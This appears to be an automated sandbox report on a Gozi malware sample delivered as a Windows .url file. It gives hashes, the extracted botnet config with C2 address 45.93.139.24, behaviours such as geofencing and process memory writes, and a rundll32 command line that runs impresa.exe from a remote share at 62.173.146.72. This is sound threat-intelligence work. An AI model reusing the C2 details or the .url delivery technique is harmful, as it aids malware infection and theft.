Analysis
-
max time kernel
145s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
10-10-2023 12:19
Static task
static1
Behavioral task
behavioral1
Sample
Documenti.url
Resource
win7-20230831-en
windows7-x64
1 signatures
150 seconds
General
-
Target
Documenti.url
-
Size
193B
-
MD5
605a545fcf4bdb9f72cccce6f96c3b00
-
SHA1
3f46e6be5166cbe2e998f82d7bc43485c26ddbcf
-
SHA256
96a8224726b8ce8b29315536fb4b1ed66f568f9a97c0d630316dba3e5b6a5a3e
-
SHA512
9a70438d175c889d05e97e69ad284a5f206aa7b8267f3e7c33ee8413580bbc83dec603d16ad30550e046badbc1650ab742e02781880e7a11ae9abe0983dfbd0e
Malware Config
Extracted
Family
gozi
Extracted
Family
gozi
Botnet
5050
C2
45.93.139.24
Attributes
-
base_path
/jerry/
-
build
250260
-
exe_type
loader
-
extension
.bob
-
server_id
50
rsa_pubkey.plain
aes.plain
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
rundll32.exedescription pid process target process PID 2720 wrote to memory of 1220 2720 rundll32.exe impresa.exe PID 2720 wrote to memory of 1220 2720 rundll32.exe impresa.exe PID 2720 wrote to memory of 1220 2720 rundll32.exe impresa.exe
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Documenti.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2720 -
\??\UNC\62.173.146.72\scarica\impresa.exe"\\62.173.146.72\scarica\impresa.exe"2⤵PID:1220
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1220-1-0x0000000002510000-0x0000000002610000-memory.dmpFilesize
1024KB
-
memory/1220-2-0x00000000023E0000-0x00000000023EB000-memory.dmpFilesize
44KB
-
memory/1220-3-0x0000000000400000-0x0000000002287000-memory.dmpFilesize
30.5MB
-
memory/1220-4-0x0000000002400000-0x000000000240D000-memory.dmpFilesize
52KB
-
memory/1220-7-0x0000000000400000-0x0000000002287000-memory.dmpFilesize
30.5MB
-
memory/1220-8-0x0000000002510000-0x0000000002610000-memory.dmpFilesize
1024KB
-
memory/1220-9-0x00000000023E0000-0x00000000023EB000-memory.dmpFilesize
44KB